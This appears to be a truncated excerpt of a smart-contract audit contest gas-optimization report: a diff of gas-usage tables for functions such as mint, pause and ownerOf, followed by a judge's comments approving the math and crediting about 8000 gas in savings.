┆ 207955 ┆ 72 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ │ isExpired ┆ 1013 ┆ 1013 ┆ 1013 ┆ 1013 ┆ 7 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ @@ -320,9 +333,9 @@ Test result: [32mok[0m. 40 passed; 0 failed; finished in 1.97s ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ │ metadataRenderer ┆ 736 ┆ 736 ┆ 736 ┆ 736 ┆ 1 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ minBidIncrement ┆ 772 ┆ 772 ┆ 772 ┆ 772 ┆ 2 │ +│ minBidIncrement ┆ 761 ┆ 761 ┆ 761 ┆ 761 ┆ 2 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ mint ┆ 995 ┆ 184375 ┆ 77250 ┆ 325439 ┆ 100 │ +│ mint ┆ 995 ┆ 184274 ┆ 77258 ┆ 325199 ┆ 100 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ │ name ┆ 1666 ┆ 1666 ┆ 1666 ┆ 1666 ┆ 1 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ @@ -340,9 +353,9 @@ Test result: [32mok[0m. 40 passed; 0 failed; finished in 1.97s ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ │ ownerOf ┆ 946 ┆ 981 ┆ 986 ┆ 986 ┆ 9 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ pause ┆ 1754 ┆ 1754 ┆ 1754 ┆ 1754 ┆ 4 │ +│ pause ┆ 1660 ┆ 1660 ┆ 1660 ┆ 1660 ┆ 4 │ ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┼╌╌╌╌╌╌╌╌╌┤ -│ paused ┆ 765 ┆ 765 ┆ 765 ┆ 765 ┆ 2 │ +│ paused
... See the rest this report here
#0 - GalloDaSballo
2022-09-18T16:47:01Z
This looks really good 10k gas seems a little exaggerated but I will review in detail
#1 - GalloDaSballo
2022-09-26T20:50:30Z
Math looks right, will reduce to 8000 gas as I have used heuristics for other reports.
Best submission this contest, well done!